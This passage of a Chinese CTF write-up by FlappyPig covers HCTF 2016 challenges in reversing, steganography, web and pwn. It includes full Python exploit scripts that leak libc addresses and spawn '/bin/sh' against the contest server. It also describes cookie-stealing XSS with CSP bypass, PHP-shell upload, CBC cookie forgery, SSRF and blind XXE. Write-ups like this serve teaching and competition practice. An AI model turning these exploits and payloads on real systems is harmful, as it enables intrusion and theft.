5.下一个判断很简单,分割重组异或和结果比较,可以推到出六字节0f_RE_,然后继续下一个判断函数。

http://p3.qhimg.com/t015f909820b2983acb.png

6.最后一步是明码比较。

http://p2.qhimg.com/t01c90cd31d1cc8cf62.png

7.得到最后的key为:hctf{The_Basic_0f_RE_0A1e}


48小时学会CPP

CPP混淆加密

template<x,y>A
{
c = enum{c=???};
}

然后调用A::c这种模式可以改成

X A(int x,int y)
{
return c=???;
}

这种函数,方便逆向;

逆向后发现;

V0和V1必须返回为1,接下来的校验才会进行,否则直接就是错误;

http://p1.qhimg.com/t014e330939669f7148.png

Cfun10c函数是检测FLAG长度的,要使其返回1,必须是FLAG长度为27;

http://p9.qhimg.com/t01936dbc87d3969c99.png

Cfun21函数用来校验FLAG[0]~FLAG[4]以及FLAG[25]

http://p9.qhimg.com/t01be33de6120ea2536.png

FLAG[a]^48==cArr1c[a];

逆向得到hctf{********************

http://p0.qhimg.com/t01deb10d908c02d624.png

这个过程逆向后得到}

hctf{********************

cfun20c(a,b)的意思就是

如果a==0

http://p1.qhimg.com/t01a061d819c82537dd.png

这个可以得到FLAG[5]=S

接下来的FLAG[6]到FLAG[24]的规则一样(i>=1)

If(i%2==1)
{
X=(FLAG[i+5]-((i-1)*i/2)^106)
X高低4位互换
X=X^cArr2c[i-1]按位异或
Return X== cArr2c[i]
}
If(i%2==0)
{
X=(FLAG[i+5]+((i-1)*i/2)^106)
X高低4位互换
X=X^cArr2c[i-1]按位异或
Return X== cArr2c[i]
}

PAYLOAD如下

FLAG是

hctf{S0_Ea5y_Cpp_T3mp1at3}

#include <stdio.h>
#include <vector>
using namespace std;
vector<unsigned char> FLAG(27,27);  //input the flag !!!
int cFun1c(int a, int b)
{
return (a == b);
};
int cfun2c(int a, int b)
{
return (a ^ b);
};
int cfun3c(int b)
{
return  FLAG[b];
};
int cfun4c(int a, int b)
{
return  a % b ;
};
const static int cfun5c(int a, int b)
{
const static int c = b << a;
return c;
};
const static int cfun6c(int a, int b)
{
const static int c = b >> a;
return c;
};
const static int cfun7c(int a, int b)
{
const static int c = a & b;
return c;
};
const static int cfun8c(int a, int b)
{
const static int c = a | b;
return c;
};
int cfun9c(int b)
{
if (b == 0)
return 0;
int c = b + cfun9c(b - 1);
return c;
};
int cfun10c(int b)
{
 return cFun1c((FLAG.size() - 1), b) ;
};
int cfun11c(int a, int b)
{
if (b == 0)
return 0;
return cFun1c(cfun2c(cfun3c(a), 0x20), 93);
};
constexpr unsigned char cArr1c[] = { 88,83,68,86,75 };
int cfun12c(int a)
{
return cArr1c[a];
};
int cfun13c(int a,int b)
{
if (b == 0)
{
return 0;
}
if (a == -1 && b == 1)
{
return 1;
}
if (b == 1)
{
return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));
}
return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));
};
int cfun14c(int a, int b)
{
if (b == 0)
{
return cfun3c(a + 5 * cfun10c(26)) + a;
}
if (b == 1)
{
return (cfun3c(a + 5 * cfun10c(26)) - a);
}
return 0;
};
int cfun15c(int a)
{
return cfun2c(cfun9c(a), 106);
};
int cfun16c(int a)
{ 
return cfun2c(cfun14c(a, cfun4c(a, 2)), cfun15c(a));
};
int cfun17c(int a)
{
return cfun8c(cfun6c(4, a), cfun5c(4, cfun7c(a, 0xF)));
};
const static int cfun18c(int a)
{
//printf("%d", a);
if (a == 0)
{
return cfun17c(cfun16c(0));
}
const static int c = cfun2c(cfun17c(cfun16c(a)), cfun18c(a - 1));
return c;
};
constexpr int cArr2c[] = { 0x93,0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0, 0x52, 0x2, 0x0, 0x72, 0xb5, 0xf1, 0x80, 0x7, 0x30, 0xa, 0x30, 0x44, 0xb };
unsigned char cfun19c(int a)
{
return cArr2c[a];
};
int cfun20c(int a,int b)
{
if (a == 20 && b == 1)
return 1;
if (b == 0)
{
return 0;
}
return cfun20c(a + 1, cFun1c( cfun19c(a), cfun18c(a)));
};
int cfun21c(int b)
{
if (b == 0)
{
return 0;
}
return cfun11c(26 - b, cfun13c(4, 1));
};
int bStart()
{
return cfun20c(0, cfun21c(cfun10c(26)));
};
int mm;
void dfs(int max)
{
if (FLAG.size() >= max)
{
if (bStart())
{
printf("Yes,You got itn");
for (int i = 0;i < max;i++)
{
printf("%c", FLAG[i]);
}
}
else
{
if (mm < max)
{
printf("%d",mm);
mm = max;
}
}
return;
}
for (char i = 0;i < 127;i++)
{
FLAG.push_back(i);
dfs( max);
FLAG.pop_back();
}
}
int main()
{
bStart();
for (unsigned char i = 1;i < 20;i++)
{
unsigned char x = cfun9c(i) ^ 106;
unsigned char y = cArr2c[i -1] ^ cArr2c[i];
unsigned char y_h = y << 4;
unsigned char y_l = y >> 4;
y = y_h | y_l;
y = y^x;
if (i % 2 == 1)
{
y += i;
}
else
{
y -= i;
}
printf("%c", y);
}
return 0;
}

gogogo

魂斗罗小游戏,我有金手指我怕谁。233

玩游戏得flag系列 

hctf{ju5tf0rfun}


你们所知道的隐写就仅此而已吗

Blindwatermark隐写,在知乎上有一个答主讲了如何进行盲水印隐写,利用的是傅立叶变换吧。

利用 matlab 运行搜索到的代码

imageA = imread('3.bmp','bmp');
fftA = fft2(imageA);
imshow(fftshift(fftA))
imshow(fft(rgb2gray(imread('shimakaze.bmp'))), [1,2]);

Flag如下:

http://p6.qhimg.com/t01dd73a5472fe72fe1.jpg


pic again

用stegsolve进行LSB检测

发现在 0 通道有异常

http://p3.qhimg.com/t01ac1cc0a1127b19e4.png

用StegSolve的Data Extract功能将隐写信息提取出来

http://p1.qhimg.com/t01612f21c3d5db9407.png

Preview 发现存在一个压缩包点击save bin

http://p3.qhimg.com/t01c01b534037b96e84.png

在压缩包中的文件找到了flag


杂项签到

from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
  IV = encrypted[:16]
  aes = AES.new(passphrase, AES.MODE_CBC, IV)
  return aes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
  IV = message[:16]
  length = 16
  count = len(message)
  padding = length - (count % length)
  message = message + '' * padding
  aes = AES.new(passphrase, AES.MODE_CBC, IV)
  return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
print len(message)
example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example
fl="mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=="
print decrypt(fl.decode("base64"), 'Qq4wdrhhyEWe4qBF')

Re 50

题目的逻辑是这样的 

字符串一共20位,前面的奇数和后面的倒数的技术互换,前面一半的的偶数和后面一半的偶数为下一个偶数位+2,

字符串变换后 出来是与0xcc进行异或

http://p1.qhimg.com/t015983e18724a60236.png

用下表来表示的话,那么应该是 

0 19
2 17
4 15
6 13
8 11

进行交换

7  9
5  7
3  5
1  3

右边的+2赋值给左边的

我们逆向怎么做呢,先比较的字符串异或,得到操作后的正确的字符串,再反操作字串,

最后比较的key是:

003CFDAC B1 00 00 00 A4 00 00 00 B5 00 00 00 87 00 00 00
003CFDBC AD 00 00 00 AD 00 00 00 93 00 00 00 B9 00 00 00
003CFDCC BF 00 00 00 BF 00 00 00 93 00 00 00 FD 00 00 00
003CFDDC FC 00 00 00 BB 00 00 00 FF 00 00 00 B7 00 00 00
003CFDEC F9 00 00 00 B8 00 00 00 ED 00 00 00 A4 00 00 00

http://p6.qhimg.com/t0105f4f1b427e48709.png

在IDA中也能看出来这些

http://p4.qhimg.com/t01a0114524f503afed.png

V4是输入后变换的

变换后异或 再与key比较

所以题目应该是 正确的flag hctf{It_1s_s0_3a5y!} 输入之后,进行上述的位变换,然后与0xcc异或,最后与上图中的key比较。

将上述的key 与0xcc异或转字符串得到}hyKaa_uss_10t3{5t!h

然后进行位变换

str='}hyKaa_uss_10t3{5t!h'
s=list(str)
leng=len(str)
for i in range(0,leng/2,2):
  temp = s[i]
  s[i]=s[leng-i-1]
  s[leng-i-1]=temp
print ''.join(s)
for i in range(9,1,-2):
  s[i] = chr(ord(s[i-2])-2)
print ''.join(s)

由于是栈操作得到的flag 第二位被覆盖了。

我们根据格式修改一下就好了所以flag是

hctf{It_1s_s0_3a5y!}

>>> 


level1-2099年的flag

题目提示需要ios99系统

找一个ios系统的useragent

Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1

修改为

Mozilla/5.0 (iPhone; CPU iPhone OS 99_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1

再发送请求

在返回包中找到包含flag的请求头


level2-RESTFUL

打开网页,chrome查看到xhr请求,

http://p4.qhimg.com/t01a280758ebce7d88f.png

于是对index.php尝试put请求并加上参数money(用restful的格式)得到flag

http://p8.qhimg.com/t017e25e10b5ff1b48c.png


level2-giligili

https://github.com/ctfs/write-ups-2016/tree/master/sctf-2016-q1/web/obfuscation-180

分析方法相同,但是遇到一个坑,按照xor的结果第二段字符串为b?H¹,放到网页里提示成功却不是正确的flag,猜一下,发现用y0ur代替b?H¹ 也是正确的解。


level2-兵者多诡

https://www.securusglobal.com/community/2016/08/19/abusing-php-wrappers/

找到上面这篇writeup后学习各种姿势后,照着拿到了flag


level3-必须比香港记者跑得快

http://changelog.hctf.io/README.md 

# 跑得比谁都快

## ChangeLog 的故事

## 这里是加了.git之后忘删的README.md  XD by Aklis

## ChangeLog

– 2016.11.11

完成登陆功能,登陆之后在session将用户名和用户等级放到会话信息里面。

判断sessioin['level']是否能在index.php查看管理员才能看到的**东西**。

XD

– 2016.11.10

老板说注册成功的用户不能是管理员,我再写多一句把权限降为普通用户好啰。

– 2016.10

我把注册功能写好了

可以看到注册的过程中包含

添加一个用户初始level > 0,降级该用户

登陆的时候将level放入session

于是判断存在条件竞争。在注册操作中降级用户之前登陆。Session中保存的用户level就不为0


level3-guestbook

http://p6.qhimg.com/t012dc74cc7bf3a4314.png

验证码只需要爆破1-99999的数字的MD5,会有一个MD5的前四4位与网页中的相同。

然后观察到返回的请求头

Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

CSP策略中script可以执行inline。

于是直接在message中写js代码通过location.href跳转或者xhr的方式把cookie和当前网址发送到自己的服务器上。

然后观察到script 和 on 被置换为空,双写绕过即可。

最后伪造cookie登陆后拿到flag


level4-大图书馆的牧羊人

扫描到.git/config 下载源码后发现登录后会将用户名加密存储在cookie中,而如果cookie解密后是admin,就能访问到后台。

用comm.php里的密钥加密admin登陆上后台,有一个上传功能

$files = isset($_FILES['file']) ? $_FILES['file'] : exit();
if($files['type']!=="application/epub+zip") {
  exit("Not Allow type!");
}
//extract
$file = new ZipArchive;
$epub_name = $files['tmp_name'];
$extracted_path = 'uploads/'.basename($files['name'],".epub")."/";
if ($file->open($epub_name) === TRUE){
  $file->extractTo($extracted_path);
  $file->close();

阅读上传源码,只需要修改content-type让代码继续执行,去解压zip到uploads目录。于是直接上传一个有php shell的zip就拿到了shell


level4-secret area

和guestbook比较类似,也有防御xss的csp策略而且并不支持script 的 inline执行。注册登录后发现修改个人资料处提供一个上传头像的功能,然而在测试一番后发现上传处并没有什么缺陷,但是在html中发现有个功能提供302跳转http://sguestbook.hctf.io/static/redirect.php?u=

而http://sguestbook.hctf.io/static/ 目录是在csp策略里script标签白名单里的,于是在头像文件里写上xss payload,上传后得到http://sguestbook.hctf.io/ /upload/e8ea98429c80cfd74e000cce900612a3。

然后就只需要构造<script src=http://sguestbook.hctf.io/static/redirect.php?u=/upload/e8ea98429c80cfd74e000cce900612a3 > 这个标签即可绕过csp策略。script on 被过滤,也是双写绕过即可。


level4-web选手的自我修养

下载docker镜像misc.tar后执行命令

docker load < misc.tar
docker run -t -i hctf/misc150 /bin/bash

加载镜像并执行镜像里的bash

Home目录中发现php7-opcache-override-master。

于是查找到一篇资料http://www.tuicool.com/articles/ryE3Qfi利用opcache隐藏后门

于是去/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwro

ot/default/ 查找发现一堆bin文件。就又去home目录翻到了wwwlogs/access.log

发现有多条记录直接访问/wp-includes/class-wp.php,这个文件一般来说会用包含的方式使用,猜测后门就在这里。

编辑器打开/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwroot/default/wp-includes/class-wp.php.bin 有一堆不可见字符,用strings命令提取后最后两行

http://p8.qhimg.com/t012e32d578c1d608d4.png

Base64解码后得到flag


level4-AT Field_1

ssrf 漏洞,限制了内网ip。通过302跳转可以绕过,

在网址处输入http://sguestbook.hctf.io/static/redirect.php?u=http://127.0.0.1

源码中有一串base64 解码即可得到flag


level5-魔法禁书目录

和前面那道题一样,只是不再有明文的密钥,而是通过cbc翻转攻击构造管理员的cookie

类似于http://www.liuhaihua.cn/archives/375276.html

然而注册的时候用户名控制在6-20之间。构造admin的密文需要得到同样为5位长度或者5+16长度的明文加密后的密文。恰好在这个范围之外。查看代码发现

function decrypt( $string ) {
  $密钥 = "233333";
$algorithm =  'rijndael-128';
$key = md5($密钥, true );
$iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
$string = urlsafe_b64decode( $string );
$iv = substr( $string, 0, $iv_length );
$encrypted = substr( $string, $iv_length );
$result = mcrypt_decrypt( $algorithm, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
$result = rtrim($result, "");
return $result;
}

在解密的最后清除掉了

所以构造admin的密文即可

注册一个adminx的用户,得到密文 oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA

<?php
function urlsafe_b64encode($string) {
   $data = base64_encode($string);
   $data = str_replace(array('+','/','='),array('-','_',''),$data);
   return $data;
}
function urlsafe_b64decode($string) {
   $data = str_replace(array('-','_'),array('+','/'),$string);
   $mod4 = strlen($data) % 4;
   if ($mod4) {
       $data .= substr('====', $mod4);
   }
   return base64_decode($data);
}
function decrypt2( $string ) {
$string = urlsafe_b64decode( $string );
$string[5] = chr(ord($string[5])^0^ord('x'));
$string = urlsafe_b64encode($string);
return $string;
}
echo decrypt2("oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA");

得到密文后伪造cookie登陆。

审计到upload.php中有xml的解析。于是利用xxe漏洞盲打读取根目录flag.php文件内容即可


就是干(fheap)

漏洞部分:

删除时,由于检查的条件str_info指针在delete后并没有置空,存在double free,如下:

http://p8.qhimg.com/t019f4a801c94c4ea91.png

结构体如下,存在函数指针:

http://p2.qhimg.com/t01a06f465cf147a648.png

创建时,管理结构大小为0x20字节,而数据部分大小可控。如下: 

http://p8.qhimg.com/t01c9a26b28203533a8.png

利用点:

所以可以根据fastbin,构造数据部分和管理结构大小相等,在分配时,错乱顺序,可以让数据部分和管理结构重合,从而改写函数指针,程序开启了pie,可以只改写释放函数的后两字节(其前面部分地址是一样的),将其改写成printf_plt,实现任意地址泄露,因为libc没有提供,所以可以通过printf来实现dynelf的leak函数,由于前面说的数据段和管理结构可以重叠,改写buff指针以及其函数指针,最终利用代码如下:

脚本如下:

from zio import *
 
target = "./fheap"
target = ("115.28.78.54", 80)
 
def get_io(target):
       r_m = COLORED(RAW, "green")
       w_m = COLORED(RAW, "blue")
       io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
       return io
 
def t_create(io, buff):
       io.read_until("3.quitn")
       io.write("create ")
 
       io.read_until(":")
       io.writeline(str(len(buff)))
       io.read_until(":")
       io.write(buff)
 
def t_delete(io, tid, padding = "yes"):
       io.read_until("3.quitn")
       io.write("delete ")
 
       io.read_until(":")
       io.writeline(str(tid))
       io.read_until(":")
       io.writeline(padding)
 
g_io = 0
g_canary = 0
proc_addr = 0
 
def gen_payload(func_got, arg1, arg2, arg3):
       #set_args_addr
       set_args_addr = 0x11da + proc_addr
       call_func_addr = 0x11c0 + proc_addr
 
       payload = ""
       payload += l64(set_args_addr)
       payload += l64(0)            #pop rbx = 0
       payload += l64(1)            #pop rbp
       payload += l64(func_got)     #pop r12
       payload += l64(arg3)         #pop r13
       payload += l64(arg2)         #pop r14
       payload += l64(arg1)         #pop r15
       payload += l64(call_func_addr)
 
       payload += l64(0)            #nouse padding : add     rsp, 8
       payload += l64(0)            #pop rbx = 0
       payload += l64(1)            #pop rbp
       payload += l64(func_got)     #pop r12
       payload += l64(arg3)         #pop r13
       payload += l64(arg2)         #pop r14
       payload += l64(arg1)         #pop r15
       payload += l64(call_func_addr)
 
       return payload
 
def leak_addr(addr):
       global g_io
       global proc_addr
 
       t_delete(g_io, 1)
 
       index0 = 9
       printf_plt = 0x9d0 + proc_addr
 
       #print "printf_plt:", hex(printf_plt)
 
       payload = ""
       payload += ("%%%d$s--..--"%(index0)).ljust(0x18, 'a')
       payload += l64(printf_plt)[:3] + "x00"
       t_create(g_io, payload)
 
       padding = "yes.aaaa"
       padding += l64(addr)
       t_delete(g_io, 2, padding)
       #data = io.read_until_timeout(2)
       data = g_io.read_until("--..--")[:-6]
       data += "x00"
       return data
 
def get_shell(system_addr):
       global g_io
       global proc_addr
 
       t_delete(g_io, 1)
 
       index0 = 9
       printf_plt = 0x9d0 + proc_addr
 
       #print "printf_plt:", hex(printf_plt)
 
       payload = ""
       payload += ("/bin/sh;").ljust(0x18, 'a')
       payload += l64(system_addr)[:6] + "x00"
       t_create(g_io, payload)
 
       padding = "yes.aaaa"
       padding += ""
       t_delete(g_io, 2, padding)
       #data = io.read_until_timeout(2)
       io.interact()
 
from pwn import *
def pwn(io):
       global g_io
       global proc_addr
       g_io = io
 
       io.read_until(":")
       io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX")
 
       t_create(io, "a"*0x20)
       t_create(io, "a"*0x20)
       t_create(io, "a"*0x20)
       t_create(io, "a"*0x20)
 
       t_delete(io, 0)
       t_delete(io, 1)
       t_delete(io, 2)
       t_delete(io, 3)
 
 
       t_create(io, "a"*0x40)
 
 
       release_func = 0xD6c
       printf_plt = 0xb9d0
 
       #io.gdb_hint()
       #printf_plt = int(raw_input("printf_plt:"), 16)
 
 
       index0 = 9
       ret_index = (0x458 - 0x348)/8 + index0
       __libc_start_main_index = (0x878 - 0x348)/8 + index0
       canary_index = (0x108)/8 + index0 - 1
 
       payload = ""
       payload += ("%%%d$p.%%%d$p.%%%d$p--..--"%(ret_index, __libc_start_main_index, canary_index)).ljust(0x18, 'a')
       payload += l64(printf_plt)[:2] + "x00"
       t_create(io, payload)
 
       padding = "yes.aaaa"
       padding += "b"*8
       padding += "c"*8
       t_delete(io, 2, padding)
       #data = io.read_until_timeout(2)
       data = io.read_until("--..--")
       print data
       if "--..--" not in data:
              return False
 
       data = data[:data.find("--..--")]
       items = data.split('.')
       proc_addr = int(items[0], 16) - 0xcf2
       __libc_start_main_addr = int(items[1], 16)
       print "__libc_start_main_addr:", hex(__libc_start_main_addr)
 
       canary_data = int(items[2], 16)
       print "canary_data:", hex(canary_data)
       print "proc_addr:", hex(proc_addr)
       g_canary = canary_data
       print "get it"
 
       read_got = 0x0000000000202058 + proc_addr
       data = leak_addr(read_got)
       read_addr = l64(data[:8].ljust(8, 'x00'))
       print "read_addr:", hex(read_addr)
       print [c for c in data]
 
       offset = -0xb12e0
       if offset == 0:
              #d = DynELF(leak_addr, proc_addr)
              d = DynELF(leak_addr, proc_addr, elf=ELF('./fheap'))
              system_addr = d.lookup('system', 'libc')
              print "system_addr:", hex(system_addr)
 
              offset = system_addr - read_addr
              print "offset:", hex(offset)
 
       system_addr = read_addr + offset
       print "system_addr:", hex(system_addr)
 
       get_shell(system_addr)
 
 
import time
while True:
       try:
              io = get_io(target)
              if pwn(io) == False:
                     continue
       except Exception, e:
              #raise
              pass
 
       time.sleep(2)

flag如下:

http://p8.qhimg.com/t01e407cacf8d0fd505.png


ASM

程序实现了一个代码仿真器,他提供了一系列的类x86指令,功能也类似,并提供了make_code,能对汇编代码进行转换,

里面的重点指令功能:lea dst,src 能够实现将src(寄存器或者内存地址)的地址取出来,并放到dst中去,所以可以通过lea r1,r0,取得r0的内存地址。

通过栈实现任意地址读写:

http://p1.qhimg.com/t01f25048a4dc256d9c.png

在内存布局中,有以下关系:

|…..Libc……..|
|…..data…….|
|…..heap…….|
|…..stack……|

仿真器中的堆栈在程序中的heap中,而在pop(伪栈下移)时,未检测上界限,可以泄露上面的地址(取内存中值),在push(伪栈上移)时,未检测下界限,可以改写stack的地址(写内存值)。而sp可以直接通过mov等指令进行改写。

泄露的libc地址可以用仿真器的寄存器存储,并找到libc中environ的位置,从而得到栈的地址,该libc直接通过libc_database可以查到,最终在栈中布置好rop,在仿真代码结束后,即可获取shell。

利用脚本系列如下:

获取shell的带注释的asm文件如下:

data:
0x6c6c6568,0x726f776f,0x646c
end
lea r0,r0
sub r1,r0,0x3054
;set read_got
add r0,r1,0x3010
;leak info in r0:  r2 = [r0]
mov r2,sp
mov sp,r0
pop r0
mov sp,r2
mov r2,r0
;libc_base addr
sub r0,r2,0xd41c0
push r0
;leak environ_got
add r0,r0,0x001b1dbc
;show info
;mov r2,r0
;push r2
;call puts
;mov r0,r2
;leak environ_addr
mov r2,sp
mov sp,r0
pop r0
mov sp,r2
mov r2,r0
;ret addr
sub r2,r2,0xd0
;push r2
add r2,r2,0xC
#get libc_base
pop r1
;set addr at r2
mov sp,r2
#binsh_addr
add r0,r1,0x158e8b
push r0
#system_addr
add r0,r1,0x0003a940
push r0
add r0,r1,0x0003a940
push r0
;show info
;push r2
;call puts
;push r2
;call puts
;push r2
;call puts
$

对上述asm文件去注释脚本:

file_r = open("do_work.asm", 'r')
info = file_r.readlines()
file_r.close()
file_w = open("do_work_real.asm", 'w')
for line in info:
       if line.startswith(";"):
              continue
       if line.startswith("#"):
              continue
       if len(line.strip()) == 0:
              continue
       file_w.write(line)
 
file_w.close()

获取shell脚本:

from zio import *
 
target = "./pwn"
target = ("115.28.78.54", 23333)
 
def get_io(target):
       r_m = COLORED(RAW, "green")
       w_m = COLORED(RAW, "blue")
       io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
       return io
 
def pwn(io):
       io.read_until(":")
       io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX")
      
       io.read_until("!n")
 
       file_r = open("1.bin", "rb")
       data = file_r.read()
       file_r.close()
 
       sinal = "give me your code, end with a single line of '$'n"
       data = data.replace(sinal, "")
 
       #print data
 
       io.gdb_hint()
       #data = data.ljust(0x300, 'a')
       io.write(data)
 
       io.interact()
 
io = get_io(target)
pwn(io)

转换bin文件并执行脚本run.sh:

python compiler.py

./make_code < do_work_real.asm > 1.bin

python pwn.py

flag如下:

http://p9.qhimg.com/t018c3f42ace5a7085b.png


出题人失踪了

因为没有给bin,根据两个提示,感觉可能是一个栈溢出。

猜测没有开启pie,所以基地址为0x08048000或者0x400000。最开始尝试0x08048000,没有任何发现。

经过测试,当输入字符超过72字节时,程序不会回显No password, No game。

构造如下payload爆破,发现当i=0x711时,程序会正常打印No password, No game,而i=0x70c时,程序会继续等待输入。所以可以推断0x40070c为call指令,调用漏洞函数,0x400711为函数返回地址。

    for i in range(0, 0x1000):
        payload = 'a'*72 + l64(0x0400000+i)

因为是64位程序,要想实现任意地址泄露,主要需要知道pop_rdi_ret和puts_plt的地址。

在64位ELF中,通常存在一个pop r15;ret,对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。

当一个地址满足如下3个payload都能正常打印NO password, No game的话,就可以得到一个pop rdi;ret的地址。

Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(0x400711) 
Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(0x400711) 
Payload3 = 'a'*72 + l64(addr+1) +l64(0x400711)

最终得到的pop_rdi_ret地址为0x4007c3。


构造

Payload3 = 'a'*72 + l64(pop_rdi_ret) +l64(0x400000)+l64(addr)

如果程序打印前4个字节为x7fELF,则addr为puts_plt。

得到puts_plt的地址为0x400570

后面就是dump+exp了。Exp大致如下:

from threading import Thread
import time
# from uploadflag import *
from zio import *
target = ('119.254.101.197', 10000)
target = './test'
target = ('115.28.78.54', 13455)
def interact(io):
    def run_recv():
        while True:
            try:
                output = io.read_until_timeout(timeout=1)
                # print output
            except:
                return
    t1 = Thread(target=run_recv)
    t1.start()
    while True:
        d = raw_input()
        if d != '':
def exp4(target):
    puts_plt = 0x400570
    pop_rdi_ret = 0x4007c3
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), 
             print_write=COLORED(RAW, 'green'))
    io.read_until('token:')
    io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX')
    base = 0x400000
    d = ''
    while True:
        print hex(len(d))
        io.read_until('?n')
        payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt)
        io.writeline(payload)
        d += io.readline()[:-1] + 'x00'
        if len(d) > 0x9bc:
            break
    f = open('code.bin', 'wb')
    f.write(d)
    f.close()
    base = 0x600e10
    d = ''
    while True:
        print hex(len(d))
        io.read_until('?n')
        payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt)
        io.writeline(payload)
        d += io.readline()[:-1] + 'x00'
        if len(d) > 0x248:
            break
    f = open('data.bin', 'wb')
    f.write(d)
    f.close()
    io.close()
def exp5(target):
    puts_plt = 0x400570
    pop_rdi_ret = 0x4007c3
    read_got = 0x601028
    puts_got = 0x601018
    passcode = 'aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk'
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), 
             print_write=COLORED(RAW, 'green'))
    io.read_until('token:')
    io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX')
    io.read_until('?n')
    main = 0x004006BD
    io.writeline('a'*72+l64(pop_rdi_ret)+l64(puts_got)+l64(puts_plt)+l64(main))
    base = l64(io.readline()[:-1].ljust(8, 'x00')) - 0x000000000006f690
    system = base + 0x0000000000045390
    binsh = base + 0x18c177
    io.read_until('?n')
    io.writeline('a'*72+l64(pop_rdi_ret)+l64(binsh)+l64(system)+l64(main))
interact(io)
exp5(target)

本文由FlappyPig原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85007

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
FlappyPig
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66